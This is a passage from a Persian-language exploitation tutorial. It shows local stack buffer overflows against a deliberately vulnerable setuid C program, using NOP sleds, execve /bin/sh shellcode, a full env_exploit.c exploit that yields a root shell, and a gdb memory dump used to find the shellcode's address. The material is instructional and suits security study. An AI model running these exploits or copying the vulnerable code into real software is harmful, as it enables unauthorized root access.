‫ﻗﺪری ﻣﺸﮑﻮک اﺳﺖ‪ .‬اﯾﻦ ﺳﺮﺣﺪ ﺑﺎﻓﺮ را ﻣﯽ ﺗﻮان ﺑﻪ ﺳﺮﻋﺖ ﺑﺎ اﺳﺘﻔﺎده از ﺧﻂ ﻓﺮﻣﺎن ﺑﺮرﺳﯽ ﮐﺮد‪.‬‬
‫‪$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print‬‬
‫'';‪"\x68\xf9\xff\xbf"x68‬‬
‫‪$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print‬‬
‫'';‪"\x68\xf9\xff\xbf"x69‬‬
‫‪Segmentation fault‬‬
‫‪$ ./vuln 'perl -e 'print "\x90"x202;'"cat shellcode"perl -e 'print‬‬
‫'';‪"\x68\xf9\xff\xbf"x70‬‬
‫‪sh-2.05a#‬‬
‫ﺑﺮﻧﺎﻣﻪ در اوﻟﯿﻦ اﺟﺮا در ﻣﺜﺎل ﻗﺒﻞ ﮐﺮش ﻧﻤﯽ ﮐﻨﺪ و ﺑﺪون ﻣﺸﮑﻞ ﺧﺎرج ﻣﯽ ﺷﻮد‪ ،‬درﺣﺎﻟﯿﮑﻪ دوﻣﯿﻦ اﺟﺮا ﺑﻪ اﻧﺪازه ﮐـﺎﻓﯽ‬
‫آدرس ﺑﺮﮔﺸﺖ را ﺟﺎﯾﻨﻮﯾﺴﯽ ﻧﻤﯽ ﮐﻨﺪ‪ ،‬ﻟﺬا ﺑﺮﻧﺎﻣﻪ ﮐﺮش ﻣﯽ ﮐﻨـﺪ‪ .‬اﻣـﺎ در آﺧـﺮﯾﻦ اﺟـﺮا آدرس ﺑﺮﮔـﺸﺖ ﺑـﻪ درﺳـﺘﯽ‬
‫ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﺷﻮد‪ ،‬ﻟﺬا روﻧﺪ اﺟﺮاﯾﯽ را ﺑﻪ ﺳﻮرﺗﻤﻪ ‪ NOP‬و ﻧﻬﺎﯾﺘﺎ ﺑﻪ ﺷﻞ‪-‬ﮐﺪ )ﮐﻪ ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ را اﺟـﺮا ﻣـﯽ ﮐﻨـﺪ(‬
‫ﺑﺮﮔﺸﺖ ﻣﯽ دﻫﺪ‪ .‬اﯾﻦ ﺳﻄﺢ از ﮐﻨﺘﺮل روی ﺑﺎﻓﺮِ اﮐﺴﭙﻠﻮﯾﺖ و ﺑﺎزﺧﻮرد ﺳﺮﯾﻊ از ﻧﺘﺎﯾﺞ آزﻣﺎﯾﺶ‪ ،‬ارزش زﯾـﺎدی در ﻓﻬـﻢ‬
‫ﻋﻤﯿﻖ ﺗﺮ ﯾﮏ ﺳﯿﺴﺘﻢ و ﯾﮏ ﺗﮑﻨﯿﮏ اﮐﺴﭙﻠﻮﯾﺖ ﺧﻮاﻫﺪ داﺷﺖ‪.‬‬

‫‪ .2,7,2‬اﺳﺘﻔﺎده از ﻣﺤﯿﻂ‬

‫ﮔﺎﻫﯽ اوﻗﺎت ﺑﺎﻓﺮ ﺑﺮای ﻗﺮار ﮔﺮﻓﺘﻦ ﺷﻞ‪-‬ﮐﺪ ﺑﺴﯿﺎر ﮐﻮﭼﮏ اﺳﺖ‪ .‬در اﯾﻦ ﻣﻮارد ﻣـﯽ ﺗـﻮان ﺷـﻞ‪-‬ﮐـﺪ را در ﯾـﮏ ﻣﺘﻐﯿـﺮ‬
‫ﻣﺤﯿﻄﯽ )‪ (enrivonment variable‬ذﺧﯿﺮه و ﭘﻨﻬﺎن ﮐﺮد‪ .‬ﭘﻮﺳﺘﻪ ﮐﺎرﺑﺮ از ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ ﺑﺮای ﻣﻘﺎﺻـﺪ ﮔﻮﻧـﺎﮔﻮﻧﯽ‬
‫اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ ،‬اﻣﺎ ﻧﮑﺘﻪ ﮐﻠﯿﺪی اﯾﻦ اﺳﺖ ﮐﻪ اﯾﻦ ﻣﺘﻐﯿﺮﻫﺎ در ﻧﺎﺣﯿﻪ ای از ﺣﺎﻓﻈﻪ ذﺧﯿﺮه ﻣـﯽ ﺷـﻮﻧﺪ و ﻣـﯽ ﺗـﻮان روﻧـﺪ‬
‫اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﺑﻪ آﻧﺠﺎ ﺗﻐﯿﯿﺮ داد‪ .‬ﺑﻨﺎﺑﺮاﯾﻦ اﮔﺮ ﯾﮏ ﺑﺎﻓﺮ آﻧﻘﺪر ﮐﻮﭼﮏ ﺑﺎﺷﺪ ﮐـﻪ ﻧﺘﻮاﻧـﺪ ﺳـﻮرﺗﻤﻪ ‪ ،NOP‬ﺷـﻞ‪-‬ﮐـﺪ و‬
‫آدرس ﺑﺮﮔﺸﺖ ﺗﮑﺮار ﺷﺪه را در ﺧﻮد ﺟﺎی دﻫﺪ‪ ،‬ﻣﯽ ﺗﻮان ﺷﻞ‪-‬ﮐﺪ و ﺳﻮرﺗﻤﻪ را در ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ ذﺧﯿـﺮه ﮐـﺮد و‬
‫آدرس ﺑﺮﮔﺸﺖ را ﺑﻪ آدرس آﻧﻬﺎ در ﺣﺎﻓﻈﻪ اﺷﺎره داد‪ .‬در زﯾﺮ ﻗﻄﻌﻪ ﮐﺪ آﺳﯿﺐ ﭘﺬﯾﺮی را ﻣﺸﺎﻫﺪه ﻣﯽ ﮐﻨﯿﺪ ﮐـﻪ ﺣـﺎوی‬
‫ﺑﺎﻓﺮی اﺳﺖ ﮐﻪ ﺑﺮای ﻗﺮارﮔﯿﺮی ﺷﻞ‪-‬ﮐﺪ ﺑﺴﯿﺎر ﮐﻮﭼﮏ اﺳﺖ‪:‬‬
‫‪vuln2.c code‬‬

‫‪34‬‬
‫;)ﻓﻀﺎی آدرس ﺑﺮﮔﺸﺖ( ‪) = 352‬ﺷﻞ‪-‬ﮐﺪ ‪ +‬ﺳﻮرﺗﻤﻪ ‪) - 248 (NOP‬ﺑﺎﻓﺮ( ‪600‬‬
‫)ﺗﻌﺪاد آدرس ﻫﺎی ﺑﺮﮔﺸﺖ( ‪) = 88‬ﻃﻮل آدرس ﺑﺮﮔﺸﺖ( ‪) / 4‬ﻓﻀﺎی آدرس ﺑﺮﮔﺸﺖ( ‪352‬‬
‫‪31‬‬
‫)][‪int main(int argc, char *argv‬‬
‫{‬
‫;]‪char buffer[5‬‬
‫;)]‪strcpy(buffer, argv[1‬‬
‫;‪return 0‬‬
‫}‬
‫در زﯾﺮ ﮐﺪ ‪ vuln2.c‬ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪه و ﺑﺮای اﯾﻨﮑﻪ ﺑﻪ درﺳﺘﯽ آﺳﯿﺐ ﭘﺬﯾﺮ ﮔﺮدد ﻣﺠﻮز ‪ suid‬ﺑﻪ آن داده ﺷﺪه اﺳﺖ‪:‬‬
‫‪$ gcc -o vuln2 vuln2.c‬‬
‫‪$ sudo chown root.root vuln2‬‬
‫‪$ sudo chmod u+s vuln2‬‬
‫ﭼﻮن اﻧﺪازه ﺑﺎﻓﺮ در ‪ vuln2‬ﺗﻨﻬﺎ ‪ 5‬ﺑﺎﯾﺖ اﺳﺖ‪ ،‬ﻓﻀﺎﯾﯽ ﺑﺮای اﺿـﺎﻓﻪ ﮐـﺮدن ﺷـﻞ‪-‬ﮐـﺪ وﺟـﻮد ﻧـﺪارد؛ ﻟـﺬا ﺑﺎﯾـﺪ در ﺟـﺎی‬
‫دﯾﮕﺮی ذﺧﯿﺮه ﺷﻮد‪ .‬ﯾﮏ ﻣﮑﺎن ﻣﻨﺎﺳﺐ ﺟﻬﺖ ﻧﮕﻬﺪاری ﺷﻞ‪-‬ﮐﺪ‪ ،‬ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ اﺳﺖ‪.‬‬
‫ﺗﺎﺑﻊ )(‪ execl‬در ﮐﺪ ‪ exploit.c‬ﮐﻪ ﺟﻬﺖ اﺟﺮای ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ﺑﻪ ﻫﻤﺮاه ﺑﺎﻓﺮ ﺷﻨﺎور در اوﻟﯿﻦ اﮐﺴﭙﻠﻮﯾﺖ اﺳﺘﻔﺎده‬
‫ﺷﺪ‪ ،‬ﯾﮏ ﺗﺎﺑﻊ ﻫﻢ ﺧﺎﻧﻮاده ﺑﻪ ﻧﺎم )(‪ execle‬ﻫﻢ دارد‪ .‬اﯾﻦ ﺗﺎﺑﻊ ﯾﮏ آرﮔﻮﻣﺎن اﺿﺎﻓﯽ دارد ﮐﻪ ﻧﺸﺎن دﻫﻨﺪه ﻣﺤﯿﻄﯽ اﺳـﺖ‬
‫ﮐﻪ ﭘﺮوﺳﻪ در ﺣﺎل اﺟﺮا ﺑﺎﯾﺪ ﺗﺤﺖ آن اﺟﺮا ﺷﻮد‪ .‬ﻫﺮ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ در اﯾﻦ ﻣﺤﯿﻂ ﺑـﻪ ﺷـﮑﻞ آراﯾـﻪ ای از اﺷـﺎرﮔﺮﻫﺎ ﺑـﻪ‬
‫رﺷﺘﻪ ﻫﺎی ﭘﺎﯾﺎن ﯾﺎﻓﺘﻪ ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ اﺳﺖ و ﺧﻮد آراﯾﻪ ﻣﺤﯿﻄﯽ ﺑﺎ ﯾﮏ اﺷﺎرﮔﺮ ﭘﻮچ ﭘﺎﯾﺎن ﻣﯽ ﯾﺎﺑﺪ‪.‬‬
‫ﯾﻌﻨﯽ ﻣﯽ ﺗﻮان ﻣﺤﯿﻄﯽ را ﺑﺎ آراﯾﻪ ای از اﺷﺎرﮔﺮ ﻫﺎ ﺳﺎﺧﺖ ﮐﻪ ﺣﺎوی ﺷﻞ‪-‬ﮐﺪ ﺑﺎﺷﺪ‪ ،‬ﺑﻪ اﯾﻦ ﺻﻮرت ﮐﻪ اوﻟﯿﻦ اﺷـﺎرﮔﺮ ﺑـﻪ‬
‫ﺷﻞ‪-‬ﮐﺪ و دوﻣﯿﻦ اﺷﺎرﮔﺮ ﯾﮏ اﺷﺎرﮔﺮ ﭘﻮچ ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺳﭙﺲ ﺗﺎﺑﻊ )(‪ execle‬را ﻣﯽ ﺗﻮان ﺟﻬﺖ اﺟـﺮای دوﻣـﯿﻦ ﺑﺮﻧﺎﻣـﻪ‬
‫آﺳﯿﺐ ﭘﺬﯾﺮ )ﮐﻪ آدرس ﺑﺮﮔﺸﺖ را ﺑﺎ آدرس ﺷﻞ‪-‬ﮐﺪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮐﻨﺪ( ﺑﺎ اﯾﻦ ﻣﺤـﯿﻂ ﻓﺮاﺧـﻮاﻧﯽ ﮐـﺮد‪ .‬ﺧﻮﺷـﺒﺨﺘﺎﻧﻪ‬
‫آدرس ﯾﮏ ﻣﺘﻐﯿﺮ درﺧﻮاﺳﺖ ﺷﺪه در اﯾـﻦ ﺣﺎﻟـﺖ را ﻣـﯽ ﺗـﻮان ﺑﺮاﺣﺘـﯽ ﻣﺤﺎﺳـﺒﻪ ﮐـﺮد‪ .‬در ﻟﯿﻨـﻮﮐﺲ آدرس ﺑﺮاﺑـﺮ ﺑـﺎ‬
‫‪ 0xbffffffa‬ﻣﻨﻬﺎی ﻃﻮل ﻣﺤﯿﻂ‪ ،‬ﻣﻨﻬﺎی ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ اﺟﺮا ﺷﺪه اﺳﺖ‪:‬‬
‫ﻃﻮل ﻧﺎم ﺑﺮﻧﺎﻣﻪ ‪ -‬ﻃﻮل ﻣﺤﯿﻂ ‪ = 0xbffffffa -‬آدرس ﻣﺤﯿﻂ‬
‫ﭼﻮن در اﯾﻦ ﺣﺎﻟﺖ آدرس ﺗﻘﺮﯾﺒﯽ ﻧﯿﺴﺖ و ﺑﺮ اﺳﺎس ﻣﺤﺎﺳﺒﺎت ﮐﺎﻣﻼ دﻗﯿﻖ ﺑﻪ دﺳﺖ ﻣﯽ آﯾـﺪ‪ ،‬ﻟـﺬا ﻧﯿـﺎزی ﺑـﻪ ﺳـﻮرﺗﻤﻪ‬
‫‪ NOP‬ﻧﯿﺴﺖ‪ .‬ﻓﻘﻂ ﺟﻬﺖ ﺳﺮرﯾﺰ ﮐﺮدن آدرس ﺑﺮﮔﺸﺖ در ﭘﺸﺘﻪ ﺑﺎﯾﺪ آدرس ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ در ﺑﺎﻓﺮ اﮐﺴﭙﻠﻮﯾﺖ ﺗﮑﺮار‬
‫ﺷﺪه ﺑﺎﺷﺪ‪ .‬در اﯾﻦ ﻣﺜﺎل‪ ،‬ﭼﻬﻞ ﺑﺎﯾﺖ ﻋﺪد ﻧﺴﺒﺘﺎ ﻣﻨﺎﺳﺒﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ‪.‬‬
‫‪env_exploit.c code‬‬
‫>‪#include <stdlib.h‬‬

‫= ][‪char shellcode‬‬
‫"‪"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0‬‬
‫"‪"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d‬‬
‫"‪"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73‬‬
‫;"‪"\x68‬‬

‫)][‪int main(int argc, char *argv‬‬


‫{‬
‫;}‪char *env[2] = {shellcode, NULL‬‬
‫;‪int i‬‬
‫;‪long ret, *addr_ptr‬‬
‫;‪char *buffer, *ptr‬‬

‫)‪// Allocate 40 bytes for buffer (on the heap‬‬


‫;)‪buffer = malloc(40‬‬

‫‪// Calculate the location of the shellcode‬‬


‫;)"‪ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2‬‬

‫‪// Fill the entire buffer with the desired ret address‬‬
‫;‪ptr = buffer‬‬
‫;‪addr_ptr = (long *) ptr‬‬
‫)‪for(i=0; i < 40; i+=4‬‬
‫} ;‪{ *(addr_ptr++) = ret‬‬

‫‪// End the string‬‬


‫‪32‬‬
‫;‪buffer[40-1] = 0‬‬

‫‪// Now call the program ./vuln with our crafted buffer as its argument‬‬
‫‪// and using the environment env as its environment.‬‬
‫;)‪execle("./vuln2", "vuln2", buffer, 0, env‬‬

‫‪// Free the buffer memory‬‬


‫;)‪free(buffer‬‬

‫;‪return 0‬‬
‫}‬
‫در زﯾﺮ ﺧﺮوﺟﯽ ﺣﺎﺻﻞ از ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ را ﻣﯽ ﺑﯿﻨﯿﺪ‪:‬‬
‫‪$ gcc -o env_exploit env_exploit.c‬‬
‫‪$ ./env_exploit‬‬
‫‪sh-2.05a# whoami‬‬
‫‪root‬‬
‫‪sh-2.05a#‬‬
‫اﻟﺒﺘﻪ ﻣﯽ ﺗﻮان اﯾﻦ ﺗﮑﻨﯿﮏ را ﺑﻪ ﺻﻮرت دﺳﺘﯽ در ﺧﺎرج از ﮐـﺪ اﮐـﺴﭙﻠﻮﯾﺖ ﻧﯿـﺰ ﺑﮑـﺎر ﺑـﺮد‪ .‬در ﭘﻮﺳـﺘﻪ ‪ bash‬ﻣـﯽ ﺗـﻮان‬
‫ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ را ﺑﺎ دﺳـﺘﻮر "‪ "export VARNAME=value‬اﺳـﺘﺨﺮاج ﮐـﺮد‪ .‬ﺑـﺎ اﺳـﺘﻔﺎده از دﺳـﺘﻮر ‪ export‬و‬
‫اﺳﺘﻔﺎده از ﭘﺮل و ﭼﻨﺪ زوج از ﻋﻼﻣﺖ ﻫﺎی ﻧﻘﻞ ﻗﻮل ﻣﯽ ﺗﻮان ﺷﻞ‪-‬ﮐﺪ و ﺳﻮرﺗﻤﻪ ‪ NOP‬را در ﻣﺤﯿﻂ ﻓﻌﻠﯽ ﻗﺮار داد‪:‬‬
‫'‪$ export SHELLCODE='perl -e 'print "\x90"x100;'"cat shellcode‬‬
‫ﮔﺎم ﺑﻌﺪی ﯾﺎﻓﺘﻦ آدرس اﯾﻦ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ اﺳﺖ‪ .‬اﯾﻦ ﻋﻤﻞ را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ دﯾﺒﺎﮔﺮ ﻣﺜﻞ ‪ GDB‬ﯾﺎ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣـﻪ‬
‫ﮐﺎرﺑﺮدی ﮐﻮﭼﮏ اﻧﺠﺎم داد ﮐﻪ ﻣﺎ ﻫﺮ دو روش را ﺗﻮﺿﯿﺢ ﻣﯽ دﻫﯿﻢ‪.‬‬
‫ﻧﮑﺘﻪ اﺳﺘﻔﺎده از ﯾﮏ دﯾﺒﺎﮔﺮ‪ ،‬ﺑﺎز ﮐﺮدن ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ و ﺗﻨﻈﯿﻢ ﯾﮏ ﻧﻘﻄـﻪ ﺗﻮﻗـﻒ )‪ (breakpoint‬در اﺑﺘـﺪای ﻓﺎﯾـﻞ‬
‫اﺳﺖ‪ .‬اﯾﻨﮑﺎر ﺳﺒﺐ اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺷﺪه اﻣﺎ ﻗﺒﻞ از اﯾﻨﮑﻪ ﭼﯿﺰی ﻋﻤﻼ اﺗﻔﺎق ﺑﯿﻔﺘﺪ‪ ،‬اﺟﺮا را ﻣﺘﻮﻗﻒ ﻣﯽ ﺳﺎزد‪ .‬در اﯾـﻦ ﻟﺤﻈـﻪ‬
‫ﻣﯽ ﺗﻮان ﺣﺎﻓﻈﻪ را از ﺑﻌﺪ از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ ﺑﺎ دﺳﺘﻮری در ‪ GDB‬ﺑﻪ ﺻﻮرت ‪ x/20s $esp‬ﺑﺮرﺳﯽ ﮐﺮد‪ .‬اﯾﻦ دﺳـﺘﻮر ‪20‬‬
‫رﺷﺘﻪ ﺣﺎﻓﻈﻪ ﭘﺲ از اﺷﺎرﮔﺮ ﭘﺸﺘﻪ را ﭼﺎپ ﻣﯽ ﮐﻨﺪ‪ .‬ﮐـﺎراﮐﺘﺮ ‪ x‬در دﺳـﺘﻮر ﺧﻼﺻـﻪ ی ‪ eXamine‬اﺳـﺖ و ﻋﺒـﺎرت ‪20s‬‬
‫ﻣﻮﺟﻮد در دﺳﺘﻮر ﻧﯿﺰ ‪ 20‬رﺷﺘﻪ ﭘﺎﯾﺎن ﯾﺎﻓﺘﻪ ﺑﺎ ﭘﻮچ را ﺗﻘﺎﺿﺎ ﻣﯽ ﮐﻨﺪ‪ .‬ﻓﺸﺮدن ﮐﻠﯿـﺪ ‪ Enter‬ﺑﻌـﺪ از اﺟـﺮای اﯾـﻦ دﺳـﺘﻮر‬
‫ﻣﺠﺪدا دﺳﺘﻮر ﻗﺒﻠﯽ را اداﻣﻪ ﻣﯽ دﻫﺪ و در ﻧﺘﯿﺠﻪ ارزش ‪ 20‬رﺷﺘﻪ ﺑﻌﺪی از ﺣﺎﻓﻈﻪ را ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ ﻓﺮآﯾﻨﺪ را ﻣﯽ‬
‫ﺗﻮان ﺗﺎ زﻣﺎن ﯾﺎﻓﺘﻦ ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ در ﺣﺎﻓﻈﻪ ﺗﮑﺮار ﮐﺮد‪.‬‬
‫در ﺧﺮوﺟﯽ زﯾﺮ ﺑﺮﻧﺎﻣﻪ ‪ vuln2‬ﺑﺎ ‪ GDB‬دﯾﺒﺎگ ﺷﺪه اﺳﺖ ﺗﺎ رﺷﺘﻪ ﻫﺎی ﻣﻮﺟـﻮد در ﺣﺎﻓﻈـﻪ ﭘـﺸﺘﻪ را ﺑـﻪ ﻣﻨﻈـﻮر ﯾـﺎﻓﺘﻦ‬
‫ﺷﻞ‪-‬ﮐﺪِ ذﺧﯿﺮه ﺷﺪه در ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ ‪) SHELLCODE‬ﺑﻪ ﺻﻮرت درﺷﺖ ﻧﻤﺎ وﺟﻮد دارد( ﺑﺮرﺳﯽ ﮐﻨﺪ‪.‬‬
‫‪$ gdb vuln2‬‬
‫‪GNU gdb 5.2.1‬‬
‫‪Copyright 2002 Free Software Foundation, Inc.‬‬
‫‪GDB is free software, covered by the GNU General Public License, and you‬‬
‫‪are‬‬
‫‪welcome to change it and/or distribute copies of it under certain‬‬
‫‪conditions.‬‬
‫‪Type "show copying" to see the conditions.‬‬
‫‪There is absolutely no warranty for GDB. Type "show warranty" for details.‬‬
‫‪This GDB was configured as "i686-pc-linux-gnu"...‬‬
‫‪(gdb) break main‬‬
‫‪Breakpoint 1 at 0x804833e‬‬
‫‪(gdb) run‬‬
‫‪Starting program: /hacking/vuln2‬‬

‫)( ‪Breakpoint 1, 0x0804833e in main‬‬


‫‪(gdb) x/20s $esp‬‬
‫@‪0xbffff8d0: "O\234\002@\204\204\024‬‬
‫‪\203\004\bR\202\004\b0\202\004\b\204\204\024@ooÿ¿F\202\004‬‬
‫"‪\b\200ù\004@\204\204\024@(ùÿ¿B¡\003@\001‬‬
‫‪0xbffff902:‬‬ ‫""‬
‫‪0xbffff903:‬‬ ‫""‬

‫‪33‬‬
0xbffff904: "Tùÿ¿\\ùÿ¿\200\202\004\b"
0xbffff911: ""
0xbffff912: ""
0xbffff913: ""
0xbffff914: "P¢"
0xbffff917: "@\\C\024@TU\001@\001"
0xbffff922: ""
0xbffff923: ""
0xbffff924: "\200\202\004\b"
0xbffff929: ""
0xbffff92a: ""
0xbffff92b: ""
0xbffff92c: "¡\202\004\b8\203\004\b\001"
0xbffff936: ""
0xbffff937: ""
0xbffff938: "Tùÿ¿0\202\004\b \203\004\b\020***"
0xbffff947: "@Lùÿ¿'Z\001@\001"
(gdb)
0xbffff952: ""
0xbffff953: ""
0xbffff954: "eúÿ¿"
0xbffff959: ""
0xbffff95a: ""
0xbffff95b: ""
0xbffff95c:
"túÿ¿\201úÿ¿
úÿ¿Aúÿ¿xúÿ¿Yûÿ¿ïûÿ¿\035üÿ¿=üÿ¿\211üÿ¿¢üÿ¿Rüÿ¿Äüÿ¿Düÿ¿åüÿ¿\202yÿ¿\227yÿ
¿ yÿ¿Oyÿ¿óyÿ¿\002pÿ¿\npÿ¿-pÿ¿Upÿ¿\206pÿ¿\220pÿ¿\236pÿ¿ªpÿ¿Ipÿ¿xpÿ¿Uÿÿ¿"
0xbffff9d9: ""
0xbffff9da: ""
0xbffff9db: ""
0xbffff9dc: "\020"
0xbffff9de: ""
0xbffff9df: ""
0xbffff9e0: "ÿù\203\003\006"
0xbffff9e6: ""
0xbffff9e7: ""
0xbffff9e8: ""
0xbffff9e9: "\020"
0xbffff9eb: ""
0xbffff9ec: "\021"
(gdb)
0xbffff9ee: ""
0xbffff9ef: ""
0xbffff9f0: "d"
0xbffff9f2: ""
0xbffff9f3: ""
0xbffff9f4: "\003"
0xbffff9f6: ""
0xbffff9f7: ""
0xbffff9f8: "4\200\004\b\004"
0xbffff9fe: ""
0xbffff9ff: ""
0xbffffa00: " "
0xbffffa02: ""
0xbffffa03: ""
0xbffffa04: "\005"
0xbffffa06: ""
0xbffffa07: ""
0xbffffa08: "\006"
0xbffffa0a: ""
0xbffffa0b: ""
(gdb)
0xbffffa0c: "\a"
0xbffffa0e: ""
0xbffffa0f: ""
0xbffffa10: ""
34
0xbffffa11: ""
0xbffffa12: ""
0xbffffa13: "@\b"
0xbffffa16: ""
0xbffffa17: ""
0xbffffa18: ""
0xbffffa19: ""
0xbffffa1a: ""
0xbffffa1b: ""
0xbffffa1c: "\t"
0xbffffa1e: ""
0xbffffa1f: ""
0xbffffa20: "\200\202\004\b\v"
0xbffffa26: ""
0xbffffa27: ""
0xbffffa28: "è\003"
(gdb)
0xbffffa2b: ""
0xbffffa2c: "\f"
0xbffffa2e: ""
0xbffffa2f: ""
0xbffffa30: "è\003"
0xbffffa33: ""
0xbffffa34: "\r"
0xbffffa36: ""
0xbffffa37: ""
0xbffffa38: "d"
0xbffffa3a: ""
0xbffffa3b: ""
0xbffffa3c: "\016"
0xbffffa3e: ""
0xbffffa3f: ""
0xbffffa40: "d"
0xbffffa42: ""
0xbffffa43: ""
0xbffffa44: "\017"
0xbffffa46: ""
(gdb)
0xbffffa47: ""
0xbffffa48: "'úÿ¿"
0xbffffa4d: ""
0xbffffa4e: ""
0xbffffa4f: ""
0xbffffa50: ""
0xbffffa51: ""
0xbffffa52: ""
0xbffffa53: ""
0xbffffa54: ""
0xbffffa55: ""
0xbffffa56: ""
0xbffffa57: ""
0xbffffa58: ""
0xbffffa59: ""
0xbffffa5a: ""
0xbffffa5b: ""
0xbffffa5c: ""
0xbffffa5d: ""
0xbffffa5e: ""
(gdb)
0xbffffa5f: ""
0xbffffa60: "i686"
0xbffffa65: "/hacking/vuln2"
0xbffffa74: "PWD=/hacking"
0xbffffa81: "XINITRC=/etc/X11/xinit/xinitrc"
0xbffffaa0: "JAVAC=/opt/sun-jdk-1.4.0/bin/javac"
0xbffffac3: "PAGER=/usr/bin/less"
0xbffffad7: "SGML_CATALOG_FILES=/etc/sgml/sgml-ent.cat:/etc/sgml/sgml-
35
docbook.cat:/etc/sgml/openjade-1.3.1.cat:/etc/sgml/sgml-docbook-
3.1.cat:/etc/sgml/sgml-docbook-3.0.cat:/etc/sgml/dsssl-docbook-
stylesheets.cat:"...
0xbffffb9f: "/etc/sgml/sgml-docbook-4.0.cat:/etc/sgml/sgml-docbook-
4.1.cat"
0xbffffbdd: "HOSTNAME=overdose"
0xbffffbef: "CLASSPATH=/opt/sun-jdk-1.4.0/jre/lib/rt.jar:."
0xbffffc1d: "VIMRUNTIME=/usr/share/vim/vim61"
0xbffffc3d:
"MANPATH=/usr/share/man:/usr/local/share/man:/usr/X11R6/man:/opt/insight/ma
n"
0xbffffc89: "LESSOPEN=|lesspipe.sh %s"
0xbffffca2: "USER=matrix"
0xbffffcae: "MAIL=/var/mail/matrix"
0xbffffcc4: "CVS_RSH=ssh"
0xbffffcd0: "INPUTRC=/etc/inputrc"
0xbffffce5: "SHELLCODE=", '\220' <repeats 100 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/
sh"
0xbffffd82: "EDITOR=/usr/bin/nano"
(gdb)
0xbffffd97: "CONFIG_PROTECT_MASK=/etc/gconf"
0xbffffdb6: "JAVA_HOME=/opt/sun-jdk-1.4.0"
0xbffffdd3: "SSH_CLIENT=10.10.10.107 3108 22"
0xbffffdf3: "LOGNAME=matrix"
0xbffffe02: "SHLVL=1"
0xbffffe0a: "MOZILLA_FIVE_HOME=/usr/lib/mozilla"
0xbffffe2d: "INFODIR=/usr/share/info:/usr/X11R6/info"
0xbffffe55: "SSH_CONNECTION=10.10.10.107 3108 10.10.11.110 22"
0xbffffe86: "_=/bin/sh"
0xbffffe90: "SHELL=/bin/sh"
0xbffffe9e: "JDK_HOME=/opt/sun-jdk-1.4.0"
0xbffffeba: "HOME=/home/matrix"
0xbffffecc: "TERM=linux"
0xbffffed7:
"PATH=/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/opt/sun-
jdk-1.4.0/bin:/opt/sun-jdk-
1.4.0/jre/bin:/opt/insight/bin:.:/opt/j2re1.4.1/bin:/sbin:/usr/sbin:/usr/lo
cal/sbin
:/home/matrix/bin:/sbin"...
0xbfffff9f: ":/usr/sbin:/usr/local/sbin:/sbin:/usr/sbin:/usr/local/sbin"
0xbfffffda: "SSH_TTY=/dev/pts/1"
0xbfffffed: "/hacking/vuln2"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
(gdb) x/s 0xbffffce5
0xbffffce5: "SHELLCODE=", '\220' <repeats 100 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/
sh"
(gdb) x/s 0xbffffcf5
0xbffffcf5: '\220' <repeats 94 times>,
"1A°F1U1ÉI\200ë\026[1A\210C\a\211[\b\211C\f°\v\215K\b\215S\fI\200èåÿÿÿ/bin/
sh"
(gdb) quit
The program is running. Exit anyway? (y or n) y
‫ ﺻﺮﻓﺎ ﺑﺮای ﺑﺮرﺳﯽِ ﺗﻨﻬﺎ ﻫﻤﺎن رﺷـﺘﻪ اﺳـﺘﻔﺎده ﻣـﯽ‬x/s ‫ از دﺳﺘﻮر‬،SHELLCODE ‫ﭘﺲ از ﯾﺎﻓﺘﻦ آدرس ﻣﺘﻐﯿﺮ ﻣﺤﻠﯽ‬
‫ ﺑﺎﯾﺖ ﺑﻪ آدرس اﺿﺎﻓﻪ ﻣـﯽ ﺷـﻮد‬16 ‫ ﻟﺬا‬،‫ ﺑﺎﯾﺖ( ﻧﯿﺰ اﺳﺖ‬10) "SHELLCODE=" ‫ اﻣﺎ اﯾﻦ آدرس ﺷﺎﻣﻞ رﺷﺘﻪ‬.‫ﺷﻮد‬
